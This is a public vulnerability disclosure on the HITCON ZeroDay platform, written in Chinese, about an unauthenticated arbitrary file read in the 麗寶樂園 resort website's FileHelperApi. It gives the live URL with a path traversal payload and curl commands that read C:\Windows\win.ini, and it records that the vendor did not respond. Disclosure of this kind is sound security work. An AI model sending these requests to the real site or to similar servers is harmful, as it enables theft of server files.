麗寶樂園 未認證可讀取伺服器任意檔案 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01203
  •  發信 Vendor: 麗寶樂園
  • Title: 麗寶樂園 未認證可讀取伺服器任意檔案
  • Introduction: 該站之檔案存取 API 未做路徑正規化、 副檔名白名單與身分驗證,未認證者以單一 GET 請求即可讀取伺服器上任意檔案。

處理狀態

目前狀態

公開
Last Update : 2026/11/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/09/26 13:57:13 : 新提交 (由 MaZon 更新此狀態)
  • 2026/10/01 14:05:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 17:44:49 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 17:44:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 17:44:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/11/26 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-01203
  • 通報者:masonzeng (MaZon)
  • 風險:嚴重
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.lihpaoresort.com/LihpaolandApp/Api/FileHelperApi/Image?tableName=FeHomeBlockBanner&systemId=&fileName=..%5C..%5C..%5C..%5Cwindows%5Cwin.ini
https://www.lihpaoresort.com/LihpaolandApp/Api/FileHelperApi/Image?tableName=ZZbogus9317&systemId=&fileName=ZZbogus9317.jpg
https://www.lihpaoresort.com/LihpaolandApp/Api/FileHelperApi/Thumbnail
https://www.lihpaoresort.com/LihpaolandApp/escaperoom/escape

敘述

伺服器自行揭露路徑組成規則

指令:

curl -s 'https://www.lihpaoresort.com/LihpaolandApp/Api/FileHelperApi/Image?tableName=ZZbogus9317&systemId=&fileName=ZZbogus9317.jpg'

回應:

{"Message":"File not found: c:\\ezglobal\\gpmuploadfiles\\Lihpaoland\\ZZbogus9317\\ZZbogus9317.jpg"}

伺服器在 404 訊息中完整吐出路徑組成規則
c:\ezglobal\gpmuploadfiles\Lihpaoland\{tableName}\{fileName},
兩個參數皆由使用者控制且直接串接,等同直接提供攻擊者路徑組成說明。

確認目錄跳脫字元未被正規化

指令:

curl -s '...Image?tableName=ZZbogus9317%5C..%5CZZbogus2&systemId=&fileName=ZZbogus.jpg'

回應:

{"Message":"File not found: c:\\ezglobal\\gpmuploadfiles\\Lihpaoland\\ZZbogus9317\\..\\ZZbogus2\\ZZbogus.jpg"}

判定:..\ 於 404 訊息中原樣保留,證明伺服器未對路徑做任何正規化處理。

跳出上傳根目錄讀取系統檔案

指令:

curl -s '...Image?tableName=FeHomeBlockBanner&systemId=&fileName=..%5C..%5C..%5C..%5Cwindows%5Cwin.ini'

回應:

HTTP 200 | 92 bytes | Content-Type: image/jpeg
sha256: 6b3d6e268dcb76e175a7db3d9e031349ab2c32654c7e57581a851e64dd6214ab

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

成功讀取 C:\Windows\win.ini。該檔為 Windows 標準檔案、不含敏感資料,係刻意選為無害之概念驗證標的。另注意 Content-Type 固定為 image/jpeg—— 該 API 將讀到的任何檔案一律當作圖片輸出,不檢查實際內容型別。

排除副檔名白名單

指令:

curl -s '...Image?tableName=FeHomeBlockBanner&systemId=&fileName=..%5C..%5C..%5C..%5Cwindows%5CZZnotexist9317.ini'

回應:

{"Message":"File not found: c:\\...\\windows\\ZZnotexist9317.ini"}

圖片

排除需要認證

指令:

curl -s -H 'User-Agent: curl-verify' -o /dev/null -w '%{http_code} | %{size_download}\n' '...windows%5Cwin.ini'

回應:

200 | 92 bytes

無需任何認證、工作階段或來源檢查。

影響範圍確認
圖片

修補建議

對 fileName 與 tableName 施以路徑正規化與封閉性檢查
tableName 改為伺服器端白名單列舉,不接受任意字串

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;